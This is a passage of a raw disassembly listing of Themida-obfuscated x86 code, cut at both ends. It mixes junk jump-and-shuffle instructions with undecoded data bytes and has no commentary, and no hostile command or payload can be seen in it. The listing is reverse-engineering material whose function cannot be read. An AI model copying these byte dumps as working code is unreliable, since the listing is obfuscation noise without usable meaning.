eax, 2 add eax, 0D0207805h xor edi, eax pop eax jmp loc_56B1E4 ; --------------------------------------------------------------------------- dd 8904EC83h, 9BE9243Ch, 8100007Bh, 0A02841F1h, 24048B08h dd 0F304C483h, 386203A5h, 0DE268h, 240C8900h, 0AAD5E9h dd 0D8B35300h, 43DDE951h, 8B660000h, 54532404h, 1596E95Bh dd 5B5B0000h, 508FC380h, 0E6BDE9h db 0 ; --------------------------------------------------------------------------- loc_5611C9: ; CODE XREF: Themida_:0056EDD9j pop edx push ecx push 60C40842h pop ecx jmp loc_565462 ; --------------------------------------------------------------------------- dw 0C8Bh dd 0E0895024h, 1CBAE955h, 41BD0001h, 526E686Fh, 6C5C71BAh dd 72DE92Bh, 28F0000h, 0FFFE49E9h, 4BBFFh, 0DE010000h dd 0E0E8E95Bh, 0BF570000h, 3FE41180h, 3C8BFA21h, 4C48324h dd 8904EC83h, 3ABF243Ch, 81ED959Ch, 376A72C2h, 4EC833Dh dd 0BF243C89h, 6CD410A4h, 17E2E9h db 0 ; --------------------------------------------------------------------------- loc_561235: ; CODE XREF: Themida_:00565511j pop ebp mov ecx, edx pop edx pop ebx jmp loc_56BC18 ; --------------------------------------------------------------------------- loc_56123F: ; CODE XREF: Themida_:00562601j mov ecx, [esp] add esp, 4 jmp loc_571E3C ; --------------------------------------------------------------------------- aBBwuwsbe db '˽}BWUWéBe',0 align 2 dw 815Fh dd 0A87C1CEAh, 46D2E9EDh, 74BF0000h, 18118A7h, 24348BF7h dd 4C481h, 0B9510000h, 23FC7FFBh, 0B9A3C181h, 0CE29F777h dd 2764E959h, 0BA520001h, 11970AB3h, 0EF56EA81h, 0B5E9E43Dh db 25h, 1, 0 ; --------------------------------------------------------------------------- loc_56129B: ; CODE XREF: Themida_:0056D199j sub esp, 4 jmp loc_56EC3F ; --------------------------------------------------------------------------- db 0B9h dd 52AD47CEh, 6629F181h, 0CB891933h, 0DDF38159h, 5151D51Bh dd 0E316BD55h, 895238B1h, 5AD189EAh, 0E9CB015Dh, 9B2Ah dd 0E09BE957h, 4890000h, 0A7A0E924h, 80590000h, 0B652C6C3h dd 1C680AFh, 0E07BE9h, 243C8900h, 320AFCBFh, 13B5E939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5612F6: ; CODE XREF: Themida_:005746FCj add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_57590D ; --------------------------------------------------------------------------- dw 248Bh dd 241C8924h, 47BF5750h, 524BB95Eh, 0BAh, 87FA2900h, 0F7815AD7h dd 0D51AA0C8h, 871CE9h db 0 ; --------------------------------------------------------------------------- loc_56132D: ; CODE XREF: Themida_:0056C25Dj sub eax, 30517826h dec eax sub eax, 0DA99A6BAh shl eax, 2 jmp loc_56F30D ; --------------------------------------------------------------------------- dd 8B93EB80h, 0C481240Ch, 4, 0C3FED3F6h, 50D9F380h, 8805B151h dd 0E8C059C8h, 0E9D0F607h, 399h ; --------------------------------------------------------------------------- loc_561364: ; CODE XREF: Themida_:0056D26Bj xchg ebx, [esp] jmp loc_568C91 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0C28104C4h, 0C300F858h, 148BD709h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edi mov edi, 48EE7C30h sub edi, 8B3572h jmp loc_575090 ; --------------------------------------------------------------------------- loc_561397: ; CODE XREF: Themida_:0056BB26j mov edx, [esp] add esp, 4 push esi jmp loc_56509F ; --------------------------------------------------------------------------- db 89h dd 0EC8359CAh, 0E662E904h, 0D9010000h, 53241C8Bh, 0C381E389h dd 4, 6C4DE9h, 9AE94500h, 8100007Dh, 2B52FCEFh, 8BF8015Fh dd 0C483243Ch, 0E2895204h, 4C281h, 0EA830000h, 24148704h dd 2404895Ch, 10E0BE9h, 14E95F00h, 890000CAh, 3D64E9E3h dd 2C890000h, 6B3CBD24h, 4BB939E1h, 0E96BD03Dh, 0A066h dd 5C243487h, 2092EB81h, 0D301210Fh, 13A88E9h db 0 ; --------------------------------------------------------------------------- loc_56141D: ; CODE XREF: Themida_:00561AF5j add ebx, edi pop edi pop esi sub ebx, 3DD39AEh jmp loc_565912 ; --------------------------------------------------------------------------- loc_56142C: ; CODE XREF: Themida_:0056503Cj sub edi, 8F93A30Bh or edx, edi pop edi jmp loc_56C829 ; --------------------------------------------------------------------------- loc_56143A: ; CODE XREF: Themida_:0056F968j push dword ptr [esp] jmp loc_56E6BA ; --------------------------------------------------------------------------- aS_36 db ']éš$',0 align 4 loc_561448: ; CODE XREF: Themida_:00571574j mov ecx, [esp] add esp, 4 add edx, ebx mov ebx, [esp] jmp loc_563539 ; --------------------------------------------------------------------------- loc_561458: ; CODE XREF: Themida_:00563F31j pop edx jmp loc_5663B2 ; --------------------------------------------------------------------------- aISV db '‰Êé%v',0 dd 7E4F6800h, 3C890000h, 89EF8924h, 0CBE95FFEh, 0C1FFFFFFh dd 814205EAh, 3BAF4CC2h, 0C7EE8161h, 11DD268h, 0C7C681D6h dd 0E91DD268h, 25C0h, 4C481h, 0E9510000h, 4EE6h, 8104EAC1h dd 0E34B6ECAh, 0DAC28136h, 52E10A2Fh, 0E5242C81h, 595F1B29h dd 29E5C181h, 895A5F1Bh, 0C53BE9CAh, 6B90000h, 6871E151h dd 3CB7h, 51EE9h db 0 ; --------------------------------------------------------------------------- loc_5614D5: ; CODE XREF: Themida_:00572653j pop esp jmp loc_56E890 ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 0AA79E9h, 243C8B00h, 4C481h, 0D2F70000h dd 0EA81D2F7h, 8C567EBh, 21F0E981h, 0D1297639h, 21F0C181h dd 15A7639h, 95B850F9h, 4811EF4Eh, 10D5DE9h, 4C18100h dd 57000000h, 4BFh, 5FF90100h, 5C240C87h, 4EC81h, 34890000h dd 2BE24h, 0E9810000h, 1AD15B88h, 54E2E9h, 0FE015D00h dd 81243C8Bh, 4C4h, 24348700h, 0E924248Bh, 12359h, 51240C8Bh dd 0D3D2E9h db 0 ; --------------------------------------------------------------------------- loc_561561: ; CODE XREF: Themida_:0056632Bj push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 not cl inc cl sub cl, 43h sub bl, 36h sub bl, cl push dx mov dh, 36h jmp loc_568856 ; --------------------------------------------------------------------------- dd 5C241487h, 0E9241C89h, 0DB38h, 5E2434FFh, 1316BE9h db 0 ; --------------------------------------------------------------------------- loc_56159D: ; CODE XREF: Themida_:0056BD39j xor edi, ebp jmp loc_56F1D6 ; --------------------------------------------------------------------------- loc_5615A4: ; CODE XREF: Themida_:00570D9Ej sub edi, 67DCAA1Fh add edx, edi pop edi add edx, 4 xchg edx, [esp] pop esp mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esi not dword ptr [esp] jmp loc_571F88 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9595A04h, 0F9A6h ; --------------------------------------------------------------------------- loc_5615D8: ; CODE XREF: Themida_:0056879Cj add ebx, 4 push edi mov edi, 4 jmp loc_56ED9C ; --------------------------------------------------------------------------- db 1, 0FBh, 0E9h dd 411Fh, 2B0F1C05h, 4875F3Dh, 24248B24h, 4C481h, 0DB680000h dd 89000072h, 9DE9242Ch, 6600006Ch, 0E9C8B60Fh, 0EBD8h dd 0D80075B3h, 83241C8Bh, 0DC0404C4h, 1EEFE9h, 4C48100h dd 2C000000h, 0B55153CAh, 2861B7CAh, 685059EFh, 4C58h dd 82EEE9h, 5FFD8900h, 3DE98158h, 1057064h, 3204E9E9h dd 0C8B0000h, 4C48324h, 0F7564E5Dh, 1E92414h, 0FF00009Fh dd 8B042474h, 0C4832414h, 24048F04h, 85B1E9h, 49796800h dd 7AE949EFh, 50000006h, 4B8h, 0E9C30100h, 150D1h ; --------------------------------------------------------------------------- loc_561690: ; CODE XREF: Themida_:0056A724j pop ecx jmp loc_56292C ; --------------------------------------------------------------------------- dw 885Bh dd 240C8BCEh, 8804C483h, 24148BF3h, 4C481h, 0E9580000h dd 1313Fh, 6EBDBB53h, 0DE0971C5h, 35F2E9h db 0 ; --------------------------------------------------------------------------- loc_5616BD: ; CODE XREF: Themida_:00572D71j mov ebp, 0A445195Dh sub ebp, esi jmp loc_56F4FC ; --------------------------------------------------------------------------- db 0BEh, 89h, 56h dd 0C68166E0h, 0C404C3C1h, 8DE9F031h, 9000000h, 0E9815FF9h dd 4D812143h, 77D8E981h, 52E9BCCEh, 8B000023h, 0C481240Ch dd 4, 8A3BE9h, 3E8C000h, 962CFB24h, 8058C308h, 0EB808AEBh dd 5BD9889Bh, 0F6048804h, 0F62CC828h, 59882Ch, 66E951D8h db 0D6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561723: ; CODE XREF: Themida_:0056ACADj add esp, 4 jmp loc_571A51 ; --------------------------------------------------------------------------- dw 0EF81h dd 4, 8B243C87h, 34892424h, 73C26824h, 4890000h, 73C0B824h dd 0C2BE412Fh, 0E9412F73h, 0E81h, 0F22A82Dh, 0E9D8011Bh dd 0F5B4h ; --------------------------------------------------------------------------- loc_561760: ; CODE XREF: Themida_:00562AD2j add esp, 4 jmp loc_56411F ; --------------------------------------------------------------------------- dd 31F0315Eh, 0E9F031C6h, 9CCh ; --------------------------------------------------------------------------- loc_561774: ; CODE XREF: Themida_:00565061j push dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx jmp loc_576831 ; --------------------------------------------------------------------------- loc_561793: ; CODE XREF: Themida_:00566F7Fj add esp, 4 jmp loc_566FDA ; --------------------------------------------------------------------------- loc_56179B: ; CODE XREF: Themida_:0056C27Ej push edx jmp loc_576964 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 0F800B9B7h, 14E84E9h db 0 ; --------------------------------------------------------------------------- loc_5617B1: ; CODE XREF: Themida_:005732FDj add ebp, 0AF96DE47h jmp loc_5753D1 ; --------------------------------------------------------------------------- dd 0BA241489h, 6E9D7075h, 8106E2C1h, 0AD020EC2h, 0C5BAE934h dd 0FF510000h, 8B042474h, 0BDE9240Ch, 590000D1h, 4C281h dd 14870000h, 48F5C24h, 24248B24h, 1320CE9h db 0 ; --------------------------------------------------------------------------- loc_5617F5: ; CODE XREF: Themida_:00575487j sub al, cl jmp loc_56AEF5 ; --------------------------------------------------------------------------- dd 0EC83E789h, 241C8904h, 533C2CBBh, 83D3F713h, 0E1E901EBh db 52h, 1, 0 ; --------------------------------------------------------------------------- loc_561813: ; CODE XREF: Themida_:0056193Aj pop ecx push dword ptr [esp] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5687AB ; --------------------------------------------------------------------------- dw 0C89h dd 4152E924h, 0C7830001h, 33A6E902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561852: ; CODE XREF: Themida_:00564CAAj add esp, 4 inc edi push edx push 13047DCDh pop edx and edx, 52251441h push ebx mov ebx, 3EA668DAh jmp loc_5639F9 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 8B560000h, 83E9243Ch, 5000147h, 304E1734h, 8124348Bh dd 4C4h, 0D8015D00h, 61368h, 24148900h, 0E0076BAh, 62CA8122h dd 0E9305E30h, 39FCh, 0BD242C89h, 5C47A103h, 0E95DEF29h dd 9E72h, 8B5A6A04h, 0C481241Ch, 4, 3CD368h, 241C8900h dd 4EC81h, 0C890000h, 5241B524h, 7BE9E289h, 0B9000142h dd 447B17EFh, 0E628E9h, 4C48100h, 0E9000000h, 5F21h ; --------------------------------------------------------------------------- loc_5618F8: ; CODE XREF: Themida_:005650A9j add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_5716AD ; --------------------------------------------------------------------------- loc_561906: ; CODE XREF: Themida_:00566509j add esp, 4 push ebp mov ebp, 4 add ecx, ebp pop ebp push 248Bh mov [esp], edx jmp loc_56CD08 ; --------------------------------------------------------------------------- db 0C1h dd 0EAC108EAh, 3BF28104h, 314BAAA5h, 1BE95AD5h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561933: ; CODE XREF: Themida_:00569569j mov [esp], ecx mov cl, dl mov bl, cl jmp loc_561813 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 0F326851h, 24890000h, 24048324h, 0EC835904h, 24048904h dd 0D83EE952h, 57510000h, 6037F7BFh, 41CF8762h, 0D7F7CF87h dd 0C0EF814Fh, 893CE925h, 0CA895FF9h, 83240C8Bh, 0D2E904C4h db 0C3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561997: ; CODE XREF: Themida_:0056CDE1j pop eax add eax, 4 add eax, 4 push ecx push esp pop ecx push edi jmp loc_566BA8 ; --------------------------------------------------------------------------- loc_5619A9: ; CODE XREF: Themida_:00566027j sub eax, 4 sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_565836 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E2E9D801h db 0D0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5619CB: ; CODE XREF: Themida_:00568592j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5648B4 ; --------------------------------------------------------------------------- dw 0E957h dd 1643h, 43A668h, 24048900h, 0FCE9E089h, 89000074h, 7EBA2414h dd 81021618h, 2C9F15EAh, 0E9D13193h, 414Dh, 0E9C68959h dd 13BB4h ; --------------------------------------------------------------------------- loc_561A10: ; CODE XREF: Themida_:00574AB8j mov ecx, edi pop edi xor esi, ecx pop ecx jmp loc_561AE7 ; --------------------------------------------------------------------------- db 0B8h dd 22666687h, 25E912Dh, 2EE81E3h, 177DB68h, 2C681C6h, 5877DB68h dd 8324048Bh, 0A1E904C4h, 81000066h, 4EDh, 1404E900h, 10BA0001h dd 0F75BA777h, 0E9EAD1DAh, 19Ah, 8B2414F7h, 0C4832414h dd 31CA8104h, 814F8D0Ah, 0CD0ABBF2h, 24C3817Fh, 81146771h dd 9B5FF7C3h, 21D7E95Eh db 1, 0 ; --------------------------------------------------------------------------- loc_561A7E: ; CODE XREF: Themida_:0056BBD3j xor ebx, [esp] pop esp sub esp, 4 mov [esp], edi jmp loc_5695A7 ; --------------------------------------------------------------------------- dd 4246C81h, 608A1C1Ah, 75F268h, 0F847E900h, 5A54FFFFh dd 4BD55h, 0EA810000h, 36D2447h, 0C281EA01h, 36D2447h dd 4BB535Dh, 1000000h, 3A9FE9DAh db 1, 0 ; --------------------------------------------------------------------------- loc_561AC6: ; CODE XREF: Themida_:005753C2j shl eax, 6 or eax, 36DC73F5h jmp loc_56A418 ; --------------------------------------------------------------------------- db 89h dd 0EC83243Ch, 0D86FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561ADE: ; CODE XREF: Themida_:0056ED9Fj xchg ebx, [esp] pop esp jmp loc_573E0A ; --------------------------------------------------------------------------- loc_561AE7: ; CODE XREF: Themida_:00561A16j sub ebx, 5DFD5F1Dh sub ebx, esi push edi mov edi, 5DFD5F1Dh jmp loc_56141D ; --------------------------------------------------------------------------- dw 8B59h dd 0C4832404h, 3DC68004h, 5BC580h, 5BED80F5h, 8BE8305Ah dd 0C481240Ch, 4, 0E1685650h, 0E9000020h, 5FBFh, 4EC8352h dd 0BB241C89h, 32911FFFh, 8102EBC1h, 513497C3h, 5FE95151h dd 1000089h, 0FA015FFAh, 6379EA81h, 0EA817D39h, 3D376A72h dd 0E9D0015Fh, 66E7h, 31240433h, 4CE92404h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561B63: ; CODE XREF: Themida_:0057129Aj pop edi jmp loc_561DD5 ; --------------------------------------------------------------------------- dd offset dword_5A9668 align 2 dw 3489h dd 4BE24h, 0F2290000h, 99E9525Eh, 8100007Ch, 0FD6D51C5h dd 0EAEFE96Eh, 2D680000h, 0E93ED503h, 107A6h, 1DBCED81h dd 37686A6Ch, 89000008h, 11BA2414h, 811E6579h, 902774CAh dd 28C28128h, 2911C45Fh, 0E9015AD5h, 4BE9815Dh, 0E9171F74h dd 102EFh, 0EE2851B6h, 56240C8Bh, 0C681E689h, 4, 6804C683h dd 0AACh, 0FF243489h, 5E042474h, 5C24048Fh, 3059CE30h dd 45AFE9F0h, 0EAC10001h, 72AF6805h, 14890000h, 7DE1E924h dd 0F1BF0000h, 297D7092h, 0A112E9FDh, 0EF810000h, 54F7927Dh dd 0C461E32Dh, 67EE2D05h, 0F8010E21h, 67EEBB53h, 0D8010E21h dd 4EC815Bh, 89000000h, 0BF68241Ch, 5B532A68h, 0F924BF57h dd 0FB01B299h, 8BD8015Fh, 0C483241Ch, 243C8B04h, 4C481h dd 0C3310000h, 0B60F66h, 628A68h, 241C8900h, 0C381E389h dd 4, 2B951h, 0EC810000h, 4, 1488BE9h, 59CE3100h, 555EF589h dd 6C240481h, 5F73F340h, 406CEF81h, 0AEE973F3h, 49FFFFF8h dd 5959C181h, 0E9833DC6h, 0D1D9F701h, 81D1F7E9h, 7E0D51E9h dd 59CB019Fh, 79F3E9h, 0B4C78100h, 18797B8h, 0BA525FFBh dd 28CF1F19h, 1F1DF281h, 0E95728CFh, 13A53h, 12AF68h, 241C8900h dd 0EBB45066h, 8B66E388h, 0C4832404h, 5FE38002h, 8007EBC0h dd 885220CBh, 88D2F6DAh, 0E3C05AD3h, 0DAEB8005h, 5D71E9h dd 2D485800h, 1622EC3h, 0E958C389h, 12132h, 89240C89h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 8EE3815Ch, 510E8F46h dd 3E6B40B9h, 59CB2156h, 4EC8350h, 55240C89h, 880514BDh dd 0DDF7452Dh, 6FED8145h, 556F729Dh, 6B243481h, 591C950Eh dd 0E6BF181h, 815D1C95h, 0D5BD40C1h, 8BC889DCh, 0C481240Ch dd 4, 2B7D68h, 0B2AEE900h, 14870000h, 48F5C24h, 5441E924h dd 0C2810000h, 4, 0E904C283h, 5289h, 405h, 4C08300h, 0E9240487h dd 92A5h, 0F2A0E9C3h, 0EA81FFFFh, 391B0FC5h, 0E3DBE9h db 0 ; --------------------------------------------------------------------------- loc_561DAD: ; CODE XREF: Themida_:005746A1j xchg ebp, [esp] pop esp jmp loc_566F19 ; --------------------------------------------------------------------------- dw 0C381h dd 132F5870h, 3867EB81h, 6DE96368h db 22h, 1, 0 ; --------------------------------------------------------------------------- loc_561DC7: ; CODE XREF: Themida_:00572F76j pop ebp add edx, 14E51287h add edx, ecx jmp loc_56F534 ; --------------------------------------------------------------------------- loc_561DD5: ; CODE XREF: Themida_:00561B64j add edi, 4 add edi, 4 jmp loc_566600 ; --------------------------------------------------------------------------- dw 0B850h dd 0D6256ECh, 6256EA2Dh, 4EC830Dh, 0FF240489h, 3C8B2434h dd 4C48324h, 175DE9h, 2434FF00h, 52240C8Bh, 0C281E289h dd 4, 4EC81h, 2EE90000h, 5D00014Ch, 488168h, 9833E900h dd 4BB0000h, 1000000h, 0EA835BDAh, 630E904h, 0EC810000h dd 4, 82C1E9h, 4C58100h, 0E9000000h, 13550h, 8108E1C1h dd 50F65DC1h, 543EE9C7h, 0AD660000h, 634C68h, 243C8900h dd 3953BF66h, 83534766h, 2C8904ECh, 0F3686624h, 2C8B665Bh dd 2C48324h, 2EED8166h, 0F5816660h, 8166512Eh, 0E9AC36F5h dd 338Bh ; --------------------------------------------------------------------------- loc_561E94: ; CODE XREF: Themida_:0056AAE1j sub dh, 33h or cl, dh mov edx, [esp] jmp loc_5767D1 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 24048F5Ch, 0F24248Bh, 0C068C8BEh, 8900005Fh, 87E9240Ch dd 81FFFFF1h, 151108EAh, 81DA011Eh, 151108C2h, 0BE565B1Eh dd 67DE71B6h, 5236E951h, 24680000h, 89000049h, 4B82404h dd 1000000h, 0C8758C1h, 0EB685C24h, 8900003Ch, 4BE2434h dd 81000000h, 0D36F23EAh, 55F2016Dh, 0D9F8E9h, 8EEC000h dd 3044F680h, 0CDFE5AF5h, 8033B353h, 0ED80CDC3h, 80DD0052h dd 0B35B52C5h, 0C0EB80E6h, 0C380EB00h, 885059C0h, 58C688D8h dd 241C8B66h, 0C002C483h, 0F68004E6h, 2EC81BAh, 66000000h dd 51241C89h, 0CB88F188h, 0E30FE9h db 0 ; --------------------------------------------------------------------------- loc_561F51: ; CODE XREF: Themida_:00568A2Ej push 699D0A2Ch mov edi, [esp] jmp loc_5746F3 ; --------------------------------------------------------------------------- loc_561F5E: ; CODE XREF: Themida_:00576B2Fj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp and esi, edx pop edx jmp loc_56DE6F ; --------------------------------------------------------------------------- dw 0ED81h dd 208525C3h, 0C581CD29h, 208525C3h, 1A57E9h db 0 ; --------------------------------------------------------------------------- loc_561F89: ; CODE XREF: Themida_:00569E19j sub esp, 4 mov [esp], ebx push esp pop ebx add ebx, 4 push ebp mov ebp, 202907EDh or ebp, 25956AB2h dec ebp xor ebp, 24AE3E44h inc ebp jmp loc_566CAA ; --------------------------------------------------------------------------- loc_561FB3: ; CODE XREF: Themida_:00575303j xor edx, ebx xor ebx, edx xor edx, ebx xor ebx, edx jmp loc_56ED13 ; --------------------------------------------------------------------------- dd 0E56BA7B8h, 58C72155h, 34C8EF81h, 0E7C11AE2h, 0BEF8106h dd 81193618h, 74368CF7h, 0FB5DE903h, 0EC81FFFFh, 4, 0E9240489h dd 416Dh, 0EB80F300h, 40EB8092h, 12D35E9h db 0 ; --------------------------------------------------------------------------- loc_561FFD: ; CODE XREF: Themida_:0057289Bj dec eax xor eax, 1EED5C55h neg eax jmp loc_563088 ; --------------------------------------------------------------------------- dw 0EB88h dd 8B5BDE88h, 9C68240Ch, 8900003Eh, 0E6892434h, 4C681h dd 79E90000h db 23h, 1, 0 ; --------------------------------------------------------------------------- loc_562027: ; CODE XREF: Themida_:00574233j not edx jmp loc_5725C5 ; --------------------------------------------------------------------------- loc_56202E: ; CODE XREF: Themida_:00569C18j add ebp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 4 sub ebp, ecx push dword ptr [esp] pop ecx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_568F84 ; --------------------------------------------------------------------------- dw 0BD55h dd 17AE0B81h, 10DC0E9h, 0E9E58900h, 11F97h, 0BA241489h dd 0 dd 144F5E9h, 4C08300h, 31240433h, 4332404h, 0C80F5C24h dd 48B468h, 24048900h, 0FFEF95E9h db 0FFh ; --------------------------------------------------------------------------- loc_5620AD: ; CODE XREF: Themida_:005725EAj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] mov edx, [esp] jmp loc_56EBAC ; --------------------------------------------------------------------------- dd 0FF2434FFh, 685A2434h, 46CBh, 89241489h, 0A9F0E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5620DE: ; CODE XREF: Themida_:0056B9F4j push 781h mov [esp], edi mov edi, esp push eax jmp loc_575929 ; --------------------------------------------------------------------------- loc_5620EE: ; CODE XREF: Themida_:005758D4j sub eax, 0FFFFFFFFh jmp loc_56AED3 ; --------------------------------------------------------------------------- dd 14BABF57h, 814F6FAAh, 1745D1CFh, 0CDEF8157h, 893FCE2Eh dd 0D389E9FDh, 0EC830000h, 24248904h, 4240481h, 5D000000h dd 65B85057h, 0E92C8A45h, 2489h, 23E9FD01h, 29000058h dd 6ED81F5h, 0E94F1A4Fh, 800h, 1D616846h, 4890000h, 7D806824h dd 34890000h, 835E5824h, 8E904ECh, 5200012Ch, 0C281E289h dd 4, 1E82BB53h, 3AE908F3h, 0FE000070h, 50D6F6CEh, 0B30CA9B0h dd 0C6089B34h, 8124048Bh, 4C4h, 4AF16800h, 61E90000h db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56218F: ; CODE XREF: Themida_:00561050j push eax mov ah, 0B1h mov bh, 8Eh xor bh, ah jmp loc_565F3D ; --------------------------------------------------------------------------- db 0F7h dd 4EFC1D7h, 8904EC83h, 0F6BA2414h, 31B085C1h, 0FD295AD7h dd 0E95B555Fh, 0ECE7h, 0FFC38058h, 30BCEB80h, 241C8BD8h dd 4C481h, 51510000h, 10E69E9h, 0E9162C00h, 132F8h ; --------------------------------------------------------------------------- loc_5621D8: ; CODE XREF: Themida_:00562241j pop edx mov esi, eax mov eax, [esp] add esp, 4 sub esi, 0D4438B0h xor esi, 731874h xor esi, 5FF7008Ah push ebx push ecx mov ecx, 5E104624h mov ebx, 65728DA2h sub ebx, ecx pop ecx and ebx, 420D518Fh push edx jmp loc_5671A8 ; --------------------------------------------------------------------------- dw 2FE9h dd 0ACFFFFEEh, 0E904EC83h, 0C251h, 0E92424D3h, 0FFFFEE1Eh ; --------------------------------------------------------------------------- loc_562224: ; CODE XREF: Themida_:0056D0CDj sub edx, 7BA7554Dh push ecx mov ecx, 463859F7h xor ecx, 31AA7B2Ah add ecx, 0CBDC42A9h add edx, ecx pop ecx mov eax, edx jmp loc_5621D8 ; --------------------------------------------------------------------------- loc_562246: ; CODE XREF: Themida_:0056B18Ej mov [esp], edx push ebx mov edx, [esp] jmp loc_573772 ; --------------------------------------------------------------------------- loc_562252: ; CODE XREF: Themida_:005748B1j sub esi, 0B070D564h push esi pop ebx pop esi sub eax, 7CD724C1h add eax, ebx jmp loc_56568F ; --------------------------------------------------------------------------- db 68h dd 7A176913h, 0A48BE9h, 47216800h, 0C890000h, 23BA5224h dd 42753979h, 0A60FC281h, 0EAC18DA2h, 57505607h, 0D8382ABFh dd 5FF8894Dh, 7D0568h, 24148900h, 7F14E957h, 0C1290000h dd 8324048Bh, 0E1D104C4h, 462AC981h, 46E94E65h, 8B0000DBh dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 6730E900h, 94680000h dd 0E92D5411h, 17D5h ; --------------------------------------------------------------------------- loc_5622D8: ; CODE XREF: Themida_:00571A64j mov edi, [esp] add esp, 4 add esp, 4 add esp, 4 jmp loc_575767 ; --------------------------------------------------------------------------- loc_5622EF: ; CODE XREF: Themida_:0057526Aj push esi mov esi, 7B9B7897h and esi, 786A2CDFh inc esi sub esi, 0AA24h xor edi, esi pop esi jmp loc_565116 ; --------------------------------------------------------------------------- loc_56230A: ; CODE XREF: Themida_:0056C2B8j xor ecx, 68497E00h mov ebp, ecx jmp loc_56F895 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 6AF7E9h, 4C28100h, 83000000h, 2C8904ECh dd 4EC8324h, 89240C89h, 4C181E1h, 81000000h, 4E9h, 0E71DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56234A: ; CODE XREF: Themida_:00569346j pop ebp xchg esi, [esp] pop esp mov [esp], esi sub esp, 4 mov [esp], ebx push ebx mov ebx, 321C1C0Fh sub [esp+4], ebx jmp loc_56425A ; --------------------------------------------------------------------------- dw 4935h dd 21490957h, 24048BC1h, 8304C483h, 0E981FFE9h, 4C500C01h dd 0C8BC801h, 4C48324h, 356968h, 241C8900h, 4BBh, 5BD82900h dd 0E9240487h, 10000h, 5BEAE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_5623A6: ; CODE XREF: Themida_:00565C2Bj sub edx, 62636528h inc edx or edx, 2DC1B4Fh neg edx add edx, 9EDE1C03h sub eax, edx pop edx xchg eax, [esp] jmp loc_565B63 ; --------------------------------------------------------------------------- loc_5623C6: ; CODE XREF: Themida_:0057365Fj push ecx jmp loc_5638C5 ; --------------------------------------------------------------------------- loc_5623CC: ; CODE XREF: Themida_:0056ABA4j add dword ptr [edx], 1 jmp loc_566411 ; --------------------------------------------------------------------------- loc_5623D7: ; CODE XREF: Themida_:00567B8Cj xor [esp], edx xchg ebx, edx jmp loc_56E255 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h aXvs db 'XVé¾',0 db 1, 0, 81h dd 200C246Ch, 12B5955h, 810C2454h, 200C2444h, 5A2B5955h dd 10D14E9h db 0 ; --------------------------------------------------------------------------- loc_562405: ; CODE XREF: Themida_:0056CF2Cj mov ecx, esp jmp loc_57035A ; --------------------------------------------------------------------------- dd 0E680CEFEh, 5C68022h, 5AF400h, 2434FFE3h, 4C48158h dd 80000000h, 0C30017EBh, 8904EC83h, 17B42404h, 0F634E9h dd 0ACE95A00h, 29000052h, 243C8BF9h, 0FFF04FE9h, 7F6B68FFh dd 1C8B65FEh, 4C48324h, 0FF16E9h db 0 ; --------------------------------------------------------------------------- loc_562455: ; CODE XREF: Themida_:005668D7j push ebx jmp loc_5636BA ; --------------------------------------------------------------------------- db 87h dd 525C2404h, 0EC83F0B2h, 1173E904h, 14870001h, 38E95C24h db 0A7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562473: ; CODE XREF: Themida_:0057268Dj xor edi, 56A53D9Dh add edx, edi pop edi jmp loc_56677F ; --------------------------------------------------------------------------- loc_562481: ; CODE XREF: Themida_:00569F9Dj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_568D42 ; --------------------------------------------------------------------------- db 81h dd 0D46A3BCBh, 0E3C14310h, 7BB85006h, 537140Eh, 78547E51h dd 4D0BE9h, 70F38100h, 81241717h, 0A36489EBh, 0F8BA527Ch dd 0F765DA7Bh, 3CEA81D2h, 81595119h, 0DA5BCFE2h, 81D2F71Ch dd 334FACEAh, 37F28128h, 0E99D20BEh, 0FCCCh, 83242C8Bh dd 148704C4h, 57E95C24h, 54FFFFEBh, 8124048Bh, 4C4h, 0E0D4E900h db 2 dup(0) ; --------------------------------------------------------------------------- 